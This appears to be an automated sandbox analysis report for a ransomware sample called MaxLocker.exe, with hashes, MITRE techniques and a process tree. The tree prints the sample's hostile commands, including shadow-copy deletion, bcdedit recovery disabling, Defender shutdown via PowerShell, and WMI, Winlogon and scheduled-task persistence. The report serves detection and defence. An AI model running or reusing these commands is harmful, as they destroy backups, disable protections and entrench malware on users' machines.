cf91a3970b44ca2db84e151f4f400dd43c5a04350ef14d96d2f507b5c0b538e5

Analysis

user interaction
yes
max time kernel
63s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/09/2026, 23:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MaxLocker.exe
Size 3.9MB
Sample260922-28dtxatfkh
SHA256 cf91a3970b44ca2db84e151f4f400dd43c5a04350ef14d96d2f507b5c0b538e5
MD5 56aee1466b11593944581663e03f2986
SHA1 c22f7b47af8b2d3b197cab449c664c47eb8422d6
SHA512 41cd5046283fb029a325e5f13d968d3ef99520d9c6cfce14a268bd2a9528de1435a14e7ed3c112390bb161cb7a6ba607ddece8f4d7f5388281cdc39720e989ad
SSDEEP 49152:BtSdkbEND/4VMVGg43oNFsjbZSYN8chhAe8bUItsIk1FCHdze2EACtbCnHxKIenP:z3bEN4OVu3eMNnAeum5bC9zHNibjPUX2
TLSH
T13916010F1340EA2EF8578D7924E30089E5A03FA79D24FDE8CE58F366E5739A657C6142
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution impact persistence privilege_escalation ransomware

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 3 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\MaxSecurity\\MaxSecurityUpdate.exe"	MaxLocker.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\Users\\Admin\\AppData\\Roaming\\MaxSecurity\\MaxSecurityUpdate.exe,"	MaxLocker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\MaxSecurity\\MaxSecurityUpdate.exe"	MaxLocker.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 8 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1088	bcdedit.exe
1196	bcdedit.exe
5492	bcdedit.exe
5624	bcdedit.exe
4544	bcdedit.exe
4636	bcdedit.exe
2320	bcdedit.exe
3860	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5692	powershell.exe
3160	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	MaxLocker.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MaxSecurityUpdate.exe	MaxLocker.exe

Executes dropped EXE 2 IoCs

pid	Process
4700	MaxSecurityUpdate.exe
5952	MaxSecurityUpdate.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3928	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1060	vssadmin.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
344	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe
3060	MaxLocker.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3060	MaxLocker.exe
Token: SeDebugPrivilege	3616	MaxLocker.exe
Token: SeDebugPrivilege	3372	MaxLocker.exe
Token: SeDebugPrivilege	5648	MaxLocker.exe
Token: SeDebugPrivilege	3228	MaxLocker.exe
Token: SeDebugPrivilege	2640	MaxLocker.exe
Token: SeDebugPrivilege	4432	MaxLocker.exe
Token: SeDebugPrivilege	3824	MaxLocker.exe
Token: SeDebugPrivilege	4932	MaxLocker.exe
Token: SeDebugPrivilege	5952	MaxSecurityUpdate.exe
Token: SeDebugPrivilege	4700	MaxSecurityUpdate.exe
Token: SeDebugPrivilege	2492	MaxLocker.exe
Token: SeDebugPrivilege	2536	MaxLocker.exe
Token: SeSystemEnvironmentPrivilege	2156	svchost.exe
Token: SeBackupPrivilege	3024	vssvc.exe
Token: SeRestorePrivilege	3024	vssvc.exe
Token: SeAuditPrivilege	3024	vssvc.exe
Token: SeDebugPrivilege	1960	MaxLocker.exe
Token: SeDebugPrivilege	2668	MaxLocker.exe
Token: SeDebugPrivilege	2656	MaxLocker.exe
Token: SeDebugPrivilege	936	MaxLocker.exe
Token: SeIncreaseQuotaPrivilege	4888	wmic.exe
Token: SeSecurityPrivilege	4888	wmic.exe
Token: SeTakeOwnershipPrivilege	4888	wmic.exe
Token: SeLoadDriverPrivilege	4888	wmic.exe
Token: SeSystemProfilePrivilege	4888	wmic.exe
Token: SeSystemtimePrivilege	4888	wmic.exe
Token: SeProfSingleProcessPrivilege	4888	wmic.exe
Token: SeIncBasePriorityPrivilege	4888	wmic.exe
Token: SeCreatePagefilePrivilege	4888	wmic.exe
Token: SeBackupPrivilege	4888	wmic.exe
Token: SeRestorePrivilege	4888	wmic.exe
Token: SeShutdownPrivilege	4888	wmic.exe
Token: SeDebugPrivilege	4888	wmic.exe
Token: SeSystemEnvironmentPrivilege	4888	wmic.exe
Token: SeRemoteShutdownPrivilege	4888	wmic.exe
Token: SeUndockPrivilege	4888	wmic.exe
Token: SeManageVolumePrivilege	4888	wmic.exe
Token: 33	4888	wmic.exe
Token: 34	4888	wmic.exe
Token: 35	4888	wmic.exe
Token: 36	4888	wmic.exe
Token: SeDebugPrivilege	3780	MaxLocker.exe
Token: SeDebugPrivilege	1940	MaxLocker.exe
Token: SeDebugPrivilege	3160	powershell.exe
Token: SeDebugPrivilege	5408	MaxLocker.exe
Token: SeDebugPrivilege	5540	MaxLocker.exe
Token: SeDebugPrivilege	3140	MaxLocker.exe
Token: SeDebugPrivilege	1504	MaxLocker.exe
Token: SeDebugPrivilege	2316	MaxLocker.exe
Token: SeDebugPrivilege	3944	MaxLocker.exe
Token: SeDebugPrivilege	4372	MaxLocker.exe
Token: SeDebugPrivilege	2004	MaxLocker.exe
Token: SeDebugPrivilege	1276	MaxLocker.exe
Token: SeDebugPrivilege	1356	MaxLocker.exe
Token: SeDebugPrivilege	1500	MaxLocker.exe
Token: SeDebugPrivilege	2464	MaxLocker.exe
Token: SeDebugPrivilege	1272	MaxLocker.exe
Token: SeDebugPrivilege	4856	MaxLocker.exe
Token: SeDebugPrivilege	2132	MaxLocker.exe
Token: SeDebugPrivilege	5248	MaxLocker.exe
Token: SeDebugPrivilege	1428	MaxLocker.exe
Token: SeDebugPrivilege	2744	MaxLocker.exe
Token: SeDebugPrivilege	3012	MaxLocker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 3616	3060	MaxLocker.exe	88
PID 3060 wrote to memory of 3372	3060	MaxLocker.exe	89
PID 3060 wrote to memory of 344	3060	MaxLocker.exe	90
PID 3060 wrote to memory of 5692	3060	MaxLocker.exe	92
PID 3060 wrote to memory of 3228	3060	MaxLocker.exe	93
PID 3060 wrote to memory of 5648	3060	MaxLocker.exe	94
PID 3060 wrote to memory of 5208	3060	MaxLocker.exe	95
PID 3060 wrote to memory of 4432	3060	MaxLocker.exe	97
PID 3060 wrote to memory of 2640	3060	MaxLocker.exe	98
PID 3060 wrote to memory of 1088	3060	MaxLocker.exe	100
PID 3060 wrote to memory of 3824	3060	MaxLocker.exe	192
PID 3060 wrote to memory of 4932	3060	MaxLocker.exe	102
PID 4360 wrote to memory of 5952	4360	userinit.exe	104
PID 3060 wrote to memory of 1196	3060	MaxLocker.exe	108
PID 3060 wrote to memory of 5492	3060	MaxLocker.exe	110
PID 3060 wrote to memory of 2320	3060	MaxLocker.exe	112
PID 3060 wrote to memory of 4636	3060	MaxLocker.exe	114
PID 3060 wrote to memory of 5624	3060	MaxLocker.exe	225
PID 3060 wrote to memory of 4544	3060	MaxLocker.exe	248
PID 3060 wrote to memory of 2536	3060	MaxLocker.exe	120
PID 3060 wrote to memory of 2492	3060	MaxLocker.exe	121
PID 3060 wrote to memory of 3860	3060	MaxLocker.exe	122
PID 3060 wrote to memory of 1060	3060	MaxLocker.exe	124
PID 3060 wrote to memory of 2668	3060	MaxLocker.exe	232
PID 3060 wrote to memory of 1960	3060	MaxLocker.exe	233
PID 3060 wrote to memory of 936	3060	MaxLocker.exe	130
PID 3060 wrote to memory of 2656	3060	MaxLocker.exe	131
PID 3060 wrote to memory of 4888	3060	MaxLocker.exe	132
PID 3060 wrote to memory of 1940	3060	MaxLocker.exe	134
PID 3060 wrote to memory of 3780	3060	MaxLocker.exe	135
PID 3060 wrote to memory of 3160	3060	MaxLocker.exe	136
PID 3060 wrote to memory of 5540	3060	MaxLocker.exe	222
PID 3060 wrote to memory of 5408	3060	MaxLocker.exe	139
PID 3060 wrote to memory of 3928	3060	MaxLocker.exe	140
PID 3060 wrote to memory of 1504	3060	MaxLocker.exe	142
PID 3060 wrote to memory of 3140	3060	MaxLocker.exe	143
PID 3060 wrote to memory of 2316	3060	MaxLocker.exe	144
PID 3060 wrote to memory of 3944	3060	MaxLocker.exe	252
PID 3060 wrote to memory of 2004	3060	MaxLocker.exe	146
PID 3060 wrote to memory of 4372	3060	MaxLocker.exe	303
PID 3060 wrote to memory of 1356	3060	MaxLocker.exe	148
PID 3060 wrote to memory of 1276	3060	MaxLocker.exe	149
PID 3060 wrote to memory of 1500	3060	MaxLocker.exe	223
PID 3060 wrote to memory of 2464	3060	MaxLocker.exe	151
PID 3060 wrote to memory of 4856	3060	MaxLocker.exe	152
PID 3060 wrote to memory of 1272	3060	MaxLocker.exe	153
PID 3060 wrote to memory of 5248	3060	MaxLocker.exe	154
PID 3060 wrote to memory of 2132	3060	MaxLocker.exe	155
PID 3060 wrote to memory of 1428	3060	MaxLocker.exe	260
PID 3060 wrote to memory of 2744	3060	MaxLocker.exe	157
PID 3060 wrote to memory of 2484	3060	MaxLocker.exe	158
PID 3060 wrote to memory of 3012	3060	MaxLocker.exe	159
PID 3060 wrote to memory of 5112	3060	MaxLocker.exe	160
PID 3060 wrote to memory of 3940	3060	MaxLocker.exe	161
PID 3060 wrote to memory of 3768	3060	MaxLocker.exe	319
PID 3060 wrote to memory of 5000	3060	MaxLocker.exe	163
PID 3060 wrote to memory of 4560	3060	MaxLocker.exe	164
PID 3060 wrote to memory of 6032	3060	MaxLocker.exe	165
PID 3060 wrote to memory of 1136	3060	MaxLocker.exe	166
PID 3060 wrote to memory of 256	3060	MaxLocker.exe	221
PID 3060 wrote to memory of 4880	3060	MaxLocker.exe	376
PID 3060 wrote to memory of 4412	3060	MaxLocker.exe	169
PID 3060 wrote to memory of 1220	3060	MaxLocker.exe	170
PID 3060 wrote to memory of 5544	3060	MaxLocker.exe	171

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
"C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe"
1⤵
- Modifies WinLogon for persistence
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3616
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3616 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3372
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /create /tn "WindowsSecuritiCheck" /xml "{0}" /f "WindowsSecurityCheck" /xml "C:\Users\Admin\AppData\Roaming\MaxSecurity\task.xml" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -No@rofile -WindowStyle Hidden -Com}and $filterPath = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ Name='MaxSecurityFilter'; EventNameSpace='root\cimv2'; QueryLanguage='WQL'; Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"};$consumerPath = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name='MaxSecurityConsumer'; CommandLineTemplate='\"C:\\Users\\Admin\\AppData\\Roaming\\MaxSecurity\\MaxSecurityUpdate.exe\"'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter=$filterPath; Consumer=$consumerPath};"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5692
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3228
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3228 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5648
- C:\Windows\SYSTEM32\reagentc.exe
  "reagentc.exe" /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:5208
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4432
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4432 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} recoveryenab|ed No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1088
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3824
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3824 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} recoveryenab|ed No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1196
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} bootstatuspo|icy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5492
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} bootstatuspo|icy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2320
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} bootmenupolisy Legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4636
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} bootmenupolisy Legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5624
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} advancedoptins no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4544
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2536
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2536 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2492
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} advancedoptins no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3860
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1060
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2668
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2668 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1960
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:936
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 936 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2656
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" shadowcopy delete /nointerastive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4888
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1940
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1940 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -No@rofile -Command Set-MpPreference -DisableReqltimeMonitoring $true; Set-MpPreference -DisableBexaviorMonitoring $true; Set-MpPreference -DisableBlckAtFirstSeen $true; Set-MpPreference -DisableIOQVProtection $true; Set-MpPreference -DisableScbiptScanning $true; Set-MpPreference -SubmitSam`lesConsent 2; Set-MpPreference -MAPSRepording 0; Set-MpPreference -HighThreadDefaultAction 6 -Force; Set-MpPreference -ModerateTxreatDefaultAction 6; Set-MpPreference -LowThreatTefaultAction 6; Set-MpPreference -SevereThruatDefaultAction 6
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3160
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5540
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5540 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5408
- C:\Windows\SYSTEM32\ipconfig.exe
  "ipconfig.exe" /flushdns
  2⤵
  - Gathers network information
  PID:3928
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1504
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1504 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3140
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2316 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2004 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4372
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1356
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1356 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1276
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1500
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1500 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2464
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4856
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4856 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1272
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5248
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5248 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2132
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1428
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1428 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2744
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2484
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2484 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3012
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
